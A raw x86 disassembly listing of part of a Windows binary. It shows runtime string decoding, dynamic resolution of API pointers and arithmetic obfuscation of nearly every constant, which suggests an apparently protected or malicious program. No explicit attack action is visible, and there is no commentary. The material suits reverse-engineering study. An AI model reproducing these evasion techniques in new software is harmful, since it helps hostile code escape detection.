mov ds:dword_44900C, eax
push offset word_5514DE
call sub_43CAF7
push eax
push dword_551268
call ds:dword_44B1AC
mov ds:dword_550044, eax
push offset byte_5514CF
call sub_43CAF7
push eax
push dword_551268
call ds:dword_44B1AC
mov ds:dword_448048, eax
push offset byte_5514BF
call sub_43CAF7
add esp, 14h
push eax
push dword_551268
call ds:dword_44B1AC
mov ds:dword_4CC224, eax
pop edi
retn
sub_446E05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446ED7 proc near ; DATA XREF: sub_43D76D+Co
; sub_43D76D+34o ...
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_144 = byte ptr -144h
var_143 = byte ptr -143h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 158h
push ebx
push esi
push edi
call sub_43DD23
call sub_43D309
call sub_446E05
call sub_445885
call sub_445E1B
call sub_4427D3
call sub_4428C5
call sub_441B17
call sub_43EBF8
call sub_443272
call sub_442FB0
mov esi, eax
loc_446F1C: ; CODE XREF: sub_446ED7+ABj
call sub_43DC76
mov edx, eax
mov [ebp+var_144], dl
movzx eax, [ebp+var_144]
mov edx, dword_551200
add edx, dword_551248
sub edx, 7
cmp eax, edx
jnz short loc_446F58
mov eax, dword_551090
add eax, dword_551108
sub eax, 0Bh
push eax
call ds:dword_54E960
loc_446F58: ; CODE XREF: sub_446ED7+6Aj
movzx eax, [ebp+var_144]
mov edx, dword_55116C
sub edx, 4
cmp eax, edx
jnz short loc_446F84
mov eax, dword_55110C
add eax, 5Ch
add eax, dword_5510D8
push eax
call ds:dword_50E924
pop ecx
jmp short loc_446F1C
; ---------------------------------------------------------------------------
loc_446F84: ; CODE XREF: sub_446ED7+93j
or esi, esi
jnz loc_44706B
push offset dword_5514B4
call sub_43CAF7
mov [ebp+var_150], eax
push offset word_5514AA
call sub_43CAF7
push eax
mov edx, [ebp+var_150]
push edx
lea edx, [ebp+var_143]
push edx
call ds:dword_50E928
lea eax, [ebp+var_143]
push eax
push 0
mov eax, dword_551230
movsx edx, word_551118
add eax, edx
sub eax, 9
push eax
call ds:dword_4CE908
mov edi, eax
push offset word_55149E
call sub_43CAF7
mov [ebp+var_154], eax
push offset dword_551494
call sub_43CAF7
mov edx, dword_551234
movsx ecx, word_5510F4
add edx, ecx
sub edx, 4
push edx
push eax
mov edx, [ebp+var_154]
push edx
lea edx, [ebp+var_143]
push edx
call ds:dword_50E928
add esp, 2Ch
lea eax, [ebp+var_143]
push eax
push 1
push dword_5511DC
call ds:dword_4CE908
mov edi, eax
mov eax, dword_5510C0
sub eax, 2
cmp edi, eax
jnz short loc_447052
push dword_551224
call ds:dword_54E960
loc_447052: ; CODE XREF: sub_446ED7+16Dj
mov eax, dword_5510E0
add eax, 0FFFFFFF1h
movsx edx, word_551118
add eax, edx
push eax
push edi
call ds:dword_50E920
loc_44706B: ; CODE XREF: sub_446ED7+AFj
movsx eax, word_551164
dec eax
push eax
call ds:dword_44B598
mov ebx, eax
lea eax, sub_43EE6A
mov [ebp+var_40], eax
mov [ebp+var_28], 5
movsx eax, word_551194
mov edx, eax
add edx, eax
mov eax, edx
sub eax, 2
mov [ebp+var_30], eax
movsx eax, word_551190
sub eax, 8
mov [ebp+var_2C], eax
mov [ebp+var_34], ebx
mov eax, dword_55121C
add eax, dword_5511C8
sub eax, 0Ch
mov [ebp+var_38], eax
mov [ebp+var_44], 3
push offset word_55148A
call sub_43CAF7
mov [ebp+var_20], eax
mov eax, dword_5510C0
add eax, dword_5510B8
sub eax, 6
mov [ebp+var_3C], eax
mov eax, dword_55116C
sub eax, 5
mov [ebp+var_24], eax
lea eax, [ebp+var_44]
push eax
call ds:dword_44B090
push offset byte_5527C3
call sub_43CAF7
mov [ebp+var_158], eax
push offset dword_551480
call sub_43CAF7
mov edx, dword_5511F4
sub edx, 9
push edx
push ebx
movsx edx, word_5511C4
add edx, dword_551140
sub edx, 9
push edx
mov edx, dword_5511B8
sub edx, 4
push edx
mov edx, dword_5510D4
movsx ecx, word_551210
add edx, ecx
sub edx, 0Ah
push edx
mov edx, dword_5510A4
mov ecx, dword_5510DC
add ecx, edx
sub ecx, 0Bh
push ecx
mov ecx, dword_5511B0
add ecx, dword_5511C8
sub ecx, 0Fh
push ecx
add edx, dword_551124
sub edx, 9
push edx
push 0CA0000h
push eax
mov edx, [ebp+var_158]
push edx
movsx edx, word_551198
add edx, dword_55120C
sub edx, 5
push edx
call ds:dword_4CD93C
mov ds:dword_44B5C0, eax
lea eax, [ebp+var_148]
push eax
push ebx
call sub_43EC56
mov [ebp+var_14C], eax
push 0
call sub_440CD2
add esp, 18h
mov eax, [ebp+var_148]
mov ds:dword_44B5C4, eax
mov eax, [ebp+var_14C]
mov ds:dword_4CE8FC, eax
or esi, esi
jnz short loc_4471F1
call sub_442B06
mov eax, dword_5510E8
add eax, dword_55123C
dec eax
mov ds:dword_50E92C, eax
jmp short loc_447202
; ---------------------------------------------------------------------------
loc_4471F1: ; CODE XREF: sub_446ED7+300j
movsx eax, word_5511E8
add eax, 3A91h
mov ds:dword_50E92C, eax
loc_447202: ; CODE XREF: sub_446ED7+318j
push offset sub_445B7F
call sub_43EBAF
pop ecx
or esi, esi
jnz short loc_44723B
call sub_443843
call sub_446839
call sub_443B74
call sub_43E501
jmp short loc_44723B
; ---------------------------------------------------------------------------
loc_447227: ; CODE XREF: sub_446ED7+38Dj
lea eax, [ebp+var_1C]
push eax
call ds:dword_54EB00
lea eax, [ebp+var_1C]
push eax
call ds:dword_449018
loc_44723B: ; CODE XREF: sub_446ED7+338j
; sub_446ED7+34Ej
movsx eax, word_551164
dec eax
push eax
mov eax, dword_5511B8
sub eax, 4
push eax
movsx eax, word_551240
sub eax, 8
push eax
lea eax, [ebp+var_1C]
push eax
call ds:dword_4CC548
or eax, eax
jnz short loc_447227
pop edi
pop esi
pop ebx
leave
retn 4
sub_446ED7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44726D proc near ; CODE XREF: sub_440A1B+28Cp
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 54h
push ebx
push esi
push edi
mov eax, dword_5510B0
add eax, dword_55117C
sub eax, 0Bh
push eax
push [ebp+arg_8]
push [ebp+arg_0]
call sub_443F06
add esp, 0Ch
mov [ebp+var_54], eax
test eax, eax
jnz loc_44750E
push offset dword_551470
call sub_43FEC5
pop ecx
push eax
call ds:dword_44900C
mov [ebp+var_10], eax
mov [ebp+var_18], 8
lea eax, [ebp+var_8]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_8]
push edi
mov edi, [edi]
call dword ptr [edi+30h]
mov ebx, eax
movsx eax, word_5510C4
movsx edx, word_5511C4
add eax, edx
sub eax, 0Eh
cmp ebx, eax
jnz loc_4474F2
lea eax, [ebp+var_40]
push eax
push offset dword_552A38
mov eax, [ebp+var_8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_551094
add eax, dword_5511D8
sub eax, 6
cmp ebx, eax
jnz loc_4474E9
mov [ebp+var_30], 2
mov eax, dword_55121C
movsx edx, word_551240
add eax, edx
sub eax, 0Ch
mov [ebp+var_28], eax
lea eax, [ebp+var_1C]
push eax
lea esi, [ebp+var_30]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_30]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_40]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
mov eax, dword_551220
sub eax, 2
cmp ebx, eax
jnz loc_4474E0
mov eax, dword_55124C
sub eax, 9
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push eax
push offset dword_552A48
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_55120C
sub eax, 4
cmp ebx, eax
jnz loc_4474D7
inc ds:dword_44B5D0
mov eax, dword_551160
add eax, dword_551200
sub eax, 2
cmp ds:dword_44B5D0, eax
jb short loc_4473E9
mov eax, dword_5510F0
add eax, 3
add eax, dword_551248
mov ds:dword_44B5D0, eax
push [ebp+var_4]
call sub_43E284
pop ecx
jmp loc_4474CE
; ---------------------------------------------------------------------------
loc_4473E9: ; CODE XREF: sub_44726D+159j
movsx eax, word_551194
add eax, dword_55118C
sub eax, 2
mov [ebp+var_48], eax
lea eax, [ebp+var_50]
push eax
push ds:dword_44801C
call sub_4457E1
mov [ebp+var_34], eax
lea eax, [ebp+var_4C]
push eax
push ds:dword_449FD4
call sub_4457E1
mov [ebp+var_38], eax
lea eax, [ebp+var_44]
push eax
push ds:dword_4CD820
call sub_4457E1
add esp, 18h
mov [ebp+var_3C], eax
cmp [ebp+var_44], 0
jz short loc_447456
test eax, eax
jz short loc_447456
push 43h
lea eax, [ebp+var_48]
push eax
push [ebp+var_4]
push [ebp+var_44]
push [ebp+var_3C]
call sub_44250C
add esp, 14h
loc_447456: ; CODE XREF: sub_44726D+1CCj
; sub_44726D+1D0j
cmp [ebp+var_4C], 0
jz short loc_447479
cmp [ebp+var_38], 0
jz short loc_447479
push 50h
lea eax, [ebp+var_48]
push eax
push [ebp+var_4]
push [ebp+var_4C]
push [ebp+var_38]
call sub_44250C
add esp, 14h
loc_447479: ; CODE XREF: sub_44726D+1EDj
; sub_44726D+1F3j
cmp [ebp+var_50], 0
jz short loc_44749C
cmp [ebp+var_34], 0
jz short loc_44749C
push 44h
lea eax, [ebp+var_48]
push eax
push [ebp+var_4]
push [ebp+var_50]
push [ebp+var_34]
call sub_44250C
add esp, 14h
loc_44749C: ; CODE XREF: sub_44726D+210j
; sub_44726D+216j
push [ebp+var_38]
call ds:dword_44B5CC
push [ebp+var_3C]
call ds:dword_44B5CC
push [ebp+var_34]
call ds:dword_44B5CC
movsx eax, word_551194
inc eax
push eax
push [ebp+arg_8]
push [ebp+arg_0]
call sub_443F06
add esp, 0Ch
loc_4474CE: ; CODE XREF: sub_44726D+177j
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4474D7: ; CODE XREF: sub_44726D+139j
mov eax, [ebp+var_1C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4474E0: ; CODE XREF: sub_44726D+106j
mov eax, [ebp+var_40]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4474E9: ; CODE XREF: sub_44726D+AFj
mov eax, [ebp+var_8]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4474F2: ; CODE XREF: sub_44726D+7Fj
lea eax, [ebp+var_18]
push eax
call ds:dword_54FF34
mov eax, dword_5511AC
add eax, dword_5510A0
sub eax, 5
cmp ebx, eax
jz short $+2
loc_44750E: ; CODE XREF: sub_44726D+2Bj
pop edi
pop esi
pop ebx
leave
retn
sub_44726D endp
; =============== S U B R O U T I N E =======================================
sub_447513 proc near ; DATA XREF: .data:005512D8o
mov eax, 80004001h
retn 10h
sub_447513 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_44751C proc near ; CODE XREF: sub_447539+1Ep
var_FFC = dword ptr -0FFCh
pop ecx
loc_44751D: ; CODE XREF: sub_44751C+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_44751D
sub esp, eax
test [esp+0FFCh+var_FFC], eax
push ecx
retn
sub_44751C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_447539 proc near ; CODE XREF: sub_442B82+3Ap
arg_0 = dword ptr 4
pop ecx
pop eax
add eax, 3
shr eax, 2
shl eax, 2
cmp eax, 1000h
jl short loc_447569
mov edx, esp
push eax
fild [esp-4+arg_0]
mov [esp-4+arg_0], ecx
fild [esp-4+arg_0]
call sub_44751C
mov esp, edx
push edx
fistp dword ptr [esp+0]
mov ecx, [esp+0]
fistp dword ptr [esp+0]
pop eax
loc_447569: ; CODE XREF: sub_447539+10j
sub esp, eax
mov eax, esp
mov dword ptr [eax], 0
push ecx
push ecx
retn
sub_447539 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_447578 proc near ; CODE XREF: .text:0043A1BAp
; DATA XREF: .data:off_551000o
xor eax, eax
inc eax
retn 0Ch
sub_447578 endp
; ---------------------------------------------------------------------------
align 10h
push eax
fnstcw word ptr [esp]
mov eax, [esp]
btr dword ptr [esp], 8
or word ptr [esp], 200h
; START OF FUNCTION CHUNK FOR sub_4475A3
loc_447592: ; CODE XREF: sub_4475A3+Dj
fldcw word ptr [esp+4+var_4]
pop ecx
loc_447596: ; CODE XREF: .text:004475A1j
mov al, ah
and eax, 3
retn
; END OF FUNCTION CHUNK FOR sub_4475A3
; ---------------------------------------------------------------------------
push eax
fnstcw word ptr [esp]
pop eax
jmp short loc_447596
; =============== S U B R O U T I N E =======================================
sub_4475A3 proc near ; CODE XREF: .text:loc_43A1A7p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00447592 SIZE 0000000A BYTES
push eax
fnstcw word ptr [esp+4+var_4]
mov eax, [esp+4+var_4]
or word ptr [esp+4+var_4], 300h
jmp short loc_447592
sub_4475A3 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4475B4 proc near ; CODE XREF: sub_43B5D8+8p
; sub_43CDF1+8p ...
var_FFC = dword ptr -0FFCh
pop ecx
loc_4475B5: ; CODE XREF: sub_4475B4+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_4475B5
sub esp, eax
test [esp+0FFCh+var_FFC], eax
jmp ecx
sub_4475B4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4475D4 proc near ; CODE XREF: sub_43A324+280p
; sub_43A324+910p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
xor eax, eax
mov ecx, 0FFFFFFFFh
xchg edi, edx
repne scasb
neg ecx
lea ecx, [ecx-1]
mov eax, [esp+arg_4]
xchg eax, esi
mov edi, [esp+arg_0]
rep movsb
xchg eax, esi
xchg edx, edi
mov eax, [esp+arg_0]
retn 8
sub_4475D4 endp
; ---------------------------------------------------------------------------
align 10h
jmp dword ptr ds:5530ACh
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44760C proc near ; CODE XREF: sub_43A25C+10p
jmp dword ptr ds:5530B0h
sub_44760C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447618 proc near ; CODE XREF: sub_43A080+13p
jmp dword ptr ds:5530B4h
sub_447618 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447624 proc near ; CODE XREF: sub_43A1C3+33p
; sub_43A1C3+45p ...
jmp dword ptr ds:5530C0h
sub_447624 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447630 proc near ; CODE XREF: sub_43A1C3+Bp
; sub_43A1C3+17p ...
jmp dword ptr ds:5530C4h
sub_447630 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; ---------------------------------------------------------------------------
jmp dword ptr ds:5530C8h
; ---------------------------------------------------------------------------
align 8
jmp dword ptr ds:5530CCh
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447654 proc near ; CODE XREF: sub_43A25C+4Ep
; sub_43A25C+87p
jmp dword ptr ds:5530D0h
sub_447654 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447660 proc near ; CODE XREF: .text:0043A186p
jmp dword ptr ds:5530D4h
sub_447660 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44766C proc near ; CODE XREF: sub_43A1C3+71p
; sub_43A1C3+86p
jmp dword ptr ds:5530D8h
sub_44766C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447678 proc near ; CODE XREF: sub_43A25C+9Ep
jmp dword ptr ds:5530DCh
sub_447678 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
dd 25Fh dup(?)
dword_448000 dd ? ; sub_43E7A3+382w
dword_448004 dd ? ; sub_445A79+14r ...
dword_448008 dd ? ; sub_4424CE+2Ar ...
dword_44800C dd ? ; sub_43DE84+1B1r ...
dword_448010 dd ? ; sub_43E7A3+F7w
dword_448014 dd ? ; sub_43D508+1Er ...
dword_448018 dd ? ; sub_43A324+A84r ...
dword_44801C dd ? ; sub_44726D+193r
dword_448020 dd ? ; sub_445885+BEw
dword_448024 dd ? ; sub_445E1B+6Bw
dword_448028 dd ? ; sub_440364+21Er
dword_44802C dd ? ; sub_43E397+163w ...
dword_448030 dd ? ; sub_43E114+10Cw ...
dword_448034 dd ? ; sub_43CDF1+BEr ...
dword_448038 dd ? ; sub_43E7A3+304w
dword_44803C dd ? ; sub_43CDF1+266r ...
dword_448040 dd ? ; sub_442FB0+FFr
dword_448044 dd ? dword_448048 dd ? ; sub_44496E+17r ...
dword_44804C dd ? ; sub_445885+17Ew
dword_448050 dd ? dd 3 dup(?)
dword_448060 dd ? dd 3E7h dup(?)
dword_449000 dd ? dword_449004 dd ? ; sub_4460DD+5Ar ...
dword_449008 dd ? ; sub_445885+13Cw
dword_44900C dd ? ; sub_442B82+2AFr ...
dword_449010 dd ? ; sub_4467F2+3Br
dword_449014 dd ? ; sub_443843+16Bw
dword_449018 dd ? ; sub_446ED7+35Er
dword_44901C dd ? ; sub_443843+267r ...
dword_449020 dd ? ; sub_43EE88+157r ...
dd 3E7h dup(?)
dword_449FC0 dd ? ; sub_445B7F+10Fr
dword_449FC4 dd ? ; sub_446839+1Ar ...
dword_449FC8 dd ? ; sub_43E501+B9r ...
dword_449FCC dd ? ; sub_43FEC5+18r ...
dword_449FD0 dd ? ; sub_445A79+39r
dword_449FD4 dd ? ; sub_44726D+1A5r
dd 2 dup(?)
dword_449FE0 dd 40h dup(?) ; sub_44250C+18Co ...
dword_44A0E0 dd ? ; sub_43EE88+129r ...
dd 3E7h dup(?)
dword_44B080 dd ? ; sub_445885+166w
dword_44B084 dd ? ; sub_443B74+58r
dword_44B088 dd ? ; sub_445B7F+129r
dword_44B08C dd ? dword_44B090 dd ? ; sub_446ED7+21Dr
dword_44B094 dd ? ; sub_446250+564r
dd 2 dup(?)
dword_44B0A0 dd 41h dup(?) ; sub_43F41A+105o ...
dword_44B1A4 dd ? ; sub_43B5D8+812r ...
dword_44B1A8 dd ? dword_44B1AC dd ? ; sub_43DD23+5Ar ...
byte_44B1B0 db ? ; DATA XREF: sub_43EE88+A1r
; sub_43EE88+167r ...
db 3 dup(?)
dd 0F9h dup(?)
dword_44B598 dd ? ; sub_43D309+Dr ...
dword_44B59C dd ? ; sub_445885+112w
dword_44B5A0 dd ? ; sub_445885+127w
dword_44B5A4 dd ? dword_44B5A8 dd ? ; sub_4432D8+139r
dword_44B5AC dd ? ; sub_43A324+1082r ...
dword_44B5B0 dd ? ; sub_43ECB6+19r
dword_44B5B4 dd ? ; sub_441B17+72w
dword_44B5B8 dd ? ; sub_43D508+19o ...
dword_44B5BC dd ? ; sub_43E7A3+3Aw ...
dword_44B5C0 dd ? dword_44B5C4 dd ? ; sub_446ED7+2EEw
dword_44B5C8 dd ? ; sub_4428C5+51w
dword_44B5CC dd ? ; sub_43B5D8+1512r ...
dword_44B5D0 dd ? ; sub_43EE88+2Fw ...
dword_44B5D4 dd ? ; sub_443B74+78r
dd 2 dup(?)
dword_44B5E0 dd ? ; sub_445B7F+101w ...
dd 0FFh dup(?)
dword_44B9E0 dd ? ; sub_4460DD+12Aw ...
dd 5187h dup(?)
dword_460000 dd 0AE77h dup(?)dword_48B9DC dd ? dword_48B9E0 dd ? dword_48B9E4 dd ? dword_48B9E8 dd ? ; sub_445885+FDw
dword_48B9EC dd ? ; sub_43E7A3+25w ...
dword_48B9F0 dd ? dword_48B9F4 dd ? ; sub_440CD2+9r
dword_48B9F8 dd ? ; sub_43E7A3+2C5w ...
dword_48B9FC dd ? ; sub_441D1A+71r ...
dword_48BA00 dd ? ; sub_43E114+3Fr ...
dd 3 dup(?)
word_48BA10 dw ? ; DATA XREF: sub_43EE88:loc_43EF0Er
; sub_43EE88:loc_43EF5Fr ...
dw ?
dd 1F3h dup(?)
dword_48C1E0 dd ? ; sub_443843+64w
dword_48C1E4 dd ? ; sub_445885+55w
dword_48C1E8 dd ? ; sub_4428C5+21Fw
dword_48C1EC dd ? ; sub_4427D3+EBw
dword_48C1F0 dd ? ; sub_443843+6Fw
dd 3 dup(?)
dword_48C200 dd 5 dup(?) ; sub_443843+103o ...
dword_48C214 dd ? dword_48C218 dd ? ; sub_43DD23+3Dr ...
dword_48C21C dd ? ; sub_43E7A3+1F3w
dword_48C220 dd ? ; sub_4460DD+C6r ...
dd 0F7Eh dup(?)
dword_49001C dd 0F080h dup(?)dword_4CC21C dd ? dword_4CC220 dd ? ; sub_43A324+A6Dr ...
dword_4CC224 dd ? ; sub_44496E+39r ...
dword_4CC228 dd ? ; sub_43E501+81r ...
dd ?
dword_4CC230 dd 80h dup(?) ; sub_43DD8A+4Fo ...
dword_4CC430 dd ? ; sub_43E7A3+29Bw ...
dd 3 dup(?)
dword_4CC440 dd 41h dup(?) ; sub_440F1C+13o ...
dword_4CC544 dd ? ; sub_43E7A3+136w
dword_4CC548 dd ? ; sub_446ED7+385r
dd ?
dword_4CC550 dd ? ; sub_43A324+3D3r ...
dword_4CC554 dd ? ; sub_43A324+4C9r ...
dword_4CC558 dd ? ; sub_43A324+65Dr ...
dword_4CC55C dd ? ; sub_43A324+990r ...
dword_4CC560 dd ? ; sub_43A324+C92r ...
dword_4CC564 dd ? ; sub_43A324+CFAr ...
dword_4CC568 dd ? ; sub_43A324+E0Cr ...
dword_4CC56C dd ? ; sub_43A324+FDBr ...
dword_4CC570 dd ? ; sub_441D1A+68Ar
dword_4CC574 dd ? ; sub_441D1A+6BEr
dword_4CC578 dd ? ; sub_441D1A+653r
dword_4CC57C dd ? ; sub_441D1A+61Cr
dd 4A4h dup(?)
dword_4CD810 dd ? ; sub_43E7A3+25Cw
dword_4CD814 dd ? ; sub_43B5D8+733r ...
dword_4CD818 dd ? dword_4CD81C dd ? ; sub_445885+94w
dword_4CD820 dd ? ; sub_44726D+1B7r
dd 3 dup(?)
dword_4CD830 dd 41h dup(?) ; sub_440F1C+2Bo ...
dword_4CD934 dd ? ; sub_43B5D8+CB8r ...
dword_4CD938 dd ? ; sub_43E7A3+232w
dword_4CD93C dd ? ; sub_43A324+6CBr ...
dword_4CD940 dd ? ; sub_43FEC5+EEr ...
dword_4CD944 dd ? ; sub_442FB0+241r
dword_4CD948 dd ? ; sub_43B5D8+14CEr ...
dd ?
dword_4CD950 dd ? ; sub_443F06+48Er ...
dd 3E7h dup(?)
dword_4CE8F0 dd ? dword_4CE8F4 dd ? dword_4CE8F8 dd ? ; sub_441D1A+65Ar ...
dword_4CE8FC dd ? ; sub_446ED7+2F9w
dword_4CE900 dd ? ; sub_43ECB6+6Ar ...
dword_4CE904 dd ? ; sub_445885+7Fw
dword_4CE908 dd ? ; sub_446ED7+FFr ...
dword_4CE90C dd ? ; sub_440CD2+148r ...
dword_4CE910 dd ? ; sub_43E7A3+21Dw ...
dword_4CE914 dd ? ; sub_43A324+1054r ...
dword_4CE918 dd ? ; sub_442FB0:loc_443104r
dd ?
dword_4CE920 dd ? ; sub_4460DD+D4r ...
dd 0FFFEh dup(?)
dword_50E91C dd ? ; sub_44496E+E08r
dword_50E920 dd ? ; sub_446ED7+18Er
dword_50E924 dd ? ; sub_43DE1F+54r ...
dword_50E928 dd ? ; sub_43A324+C64r ...
dword_50E92C dd ? ; sub_446ED7+313w ...
dword_50E930 dd ? ; sub_4428C5+A5w ...
dword_50E934 dd ? ; sub_442B82+289r
dword_50E938 dd ? ; sub_441D1A+2E9r ...
dword_50E93C dd ? ; sub_43B556+32r ...
dword_50E940 dd ? ; sub_43E397+79w
dd 3 dup(?)
dword_50E950 dd ? ; sub_4460DD+131w ...
dd 0FFFEh dup(?)
dword_54E94C dd ? ; sub_445B7F+8Cr
dword_54E950 dd ? ; sub_4428C5+18Cw
dword_54E954 dd ? ; sub_4428C5+20Aw
dword_54E958 dd ? ; sub_441D1A+5B9r ...
dword_54E95C dd ? ; sub_43FEC5+79r ...
dword_54E960 dd ? ; sub_43E7A3+2DAw ...
dword_54E964 dd ? ; sub_44077A+93r ...
dword_54E968 dd ? ; sub_43FA48+2Dr ...
dd ?
dword_54E970 dd 40h dup(?) ; sub_443843+17Bo ...
dword_54EA70 dd ? ; sub_44250C+9r ...
dword_54EA74 dd ? ; sub_443522+217w ...
dword_54EA78 dd ? ; sub_43E7A3+160w ...
dd ?
dword_54EA80 dd ? ; sub_443522+C7w ...
dd 8 dup(?)
dword_54EAA4 dd ? dword_54EAA8 dd ? dd ?
dword_54EAB0 dd ? ; sub_443522+19Cw
dd ?
dword_54EAB8 dd ? ; sub_443522+15Dw
dd ?
dword_54EAC0 dd ? ; sub_443522+43w ...
dd 2 dup(?)
dword_54EACC dd ? dd 3 dup(?)
dword_54EADC dd ? dd 3 dup(?)
dword_54EAEC dd ? dd ?
dword_54EAF4 dd ? dword_54EAF8 dd ? dd ?
dword_54EB00 dd ? ; sub_446ED7+354r
dd 3 dup(?)
byte_54EB10 db ? ; DATA XREF: sub_43E501+F8w
; sub_43E501+135o ...
db 3 dup(?)
dd 3FFh dup(?)
dword_54FB10 dd ? ; sub_43E7A3+E2w ...
dword_54FB14 dd ? ; sub_441803+Er ...
dword_54FB18 dd ? ; sub_43B5D8+149Ar ...
dword_54FB1C dd ? ; sub_4460DD+9Dr ...
dword_54FB20 dd ? ; sub_445B7F+6Br ...
dd 0FEh dup(?)
dword_54FF1C dd ? ; sub_43DD8A+85r ...
dword_54FF20 dd ? ; sub_43EBAF+3Ar ...
dd ?
dword_54FF28 dd ? ; sub_44322A+28r ...
dword_54FF2C dd ? ; sub_440CD2+39r
dword_54FF30 dd ? ; sub_43F41A+1EDr ...
dword_54FF34 dd ? ; sub_442B82+2D4r ...
dword_54FF38 dd ? ; sub_441D1A+13Cr ...
dword_54FF3C dd ? ; sub_43B53F+Er ...
byte_54FF40 db ? ; DATA XREF: sub_43F98E:loc_43FA07r
; sub_442E73+44o
db 3 dup(?)
dd 3Fh dup(?)
dword_550040 dd ? ; sub_43B5D8+894r ...
dword_550044 dd ? ; sub_446E05+90w
dword_550048 dd ? dd ?
dword_550050 dd 6Ch dup(?) ; sub_43CAF7+60o ...
_text ends
; Section 5. (virtual address 00151000)
; Virtual size : 00001C00 ( 7168.)
; Section size in file : 00001C00 ( 7168.)
; Offset to raw data for section: 00023200
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 551000h
off_551000 dd offset sub_447578 ; DATA XREF: .text:0043A1B5r
dword_551004 dd 0 ; sub_43A1C3+64r
dword_551008 dd 0 dword_55100C dd 0 ; sub_43A1C3:loc_43A23Cr
dword_551010 dd 0 align 8
dd 7325h
aWr: ; DATA XREF: sub_43A1C3+3Do
; sub_43A1C3+4Fo ...
unicode 0, <wr>,0
align 4
dd 4 dup(0)
dword_551034 dd 0 dword_551038 dd 0 ; .text:0043A117r ...
dword_55103C dd 0 dword_551040 dd 14h dup(0) ; .text:0043A11Fo
dword_551090 dd 4 ; sub_43A324+1F1r ...
word_551094 dw 2 ; DATA XREF: sub_43A324:loc_43A384r
; sub_43B5D8+1BAr ...
align 4
dword_551098 dd 9 ; sub_43A324+BD1r ...
word_55109C dw 6 ; DATA XREF: sub_43DE84+145r
; sub_440364+244r ...
align 10h
dword_5510A0 dd 3 ; sub_43A324+853r ...
dword_5510A4 dd 7 ; sub_43A324+9F9r ...
word_5510A8 dw 0 ; DATA XREF: sub_43A324+178r
; sub_43B5D8+1255r ...
align 4
dword_5510AC dd 7 ; sub_43A324+42Cr ...
dword_5510B0 dd 5 ; sub_43ECB6+2Cr ...
word_5510B4 dw 5 ; DATA XREF: sub_43A324+1AEr
; sub_43B5D8+C28r ...
align 4
dword_5510B8 dd 4 ; sub_43B5D8+A93r ...
dword_5510BC dd 0 ; sub_43A324+7E4r ...
dword_5510C0 dd 2 ; sub_43B5D8+9A9r ...
